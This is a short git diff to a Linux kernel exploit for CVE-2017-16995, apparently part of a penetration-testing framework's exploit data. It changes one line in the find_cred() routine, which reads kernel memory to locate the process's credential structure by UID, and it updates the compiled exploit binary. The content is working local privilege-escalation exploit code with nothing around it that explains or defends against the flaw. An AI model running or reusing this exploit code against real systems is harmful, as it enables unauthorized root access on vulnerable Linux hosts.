diff --git a/data/exploits/cve-2017-16995/exploit.c b/data/exploits/cve-2017-16995/exploit.c index 0e131151b30a5..0a252c6ab658b 100644 --- a/data/exploits/cve-2017-16995/exploit.c +++ b/data/exploits/cve-2017-16995/exploit.c @@ -456,7 +456,7 @@ static unsigned long find_cred() { continue; } - unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF); + unsigned long test_uid = (read64(cred_struct + sizeof(int)) & 0xFFFFFFFF); if(test_uid != uid) { continue; diff --git a/data/exploits/cve-2017-16995/exploit.out b/data/exploits/cve-2017-16995/exploit.out index 3a7bd332f65b3..a01a44b53404a 100644 Binary files a/data/exploits/cve-2017-16995/exploit.out and b/data/exploits/cve-2017-16995/exploit.out differ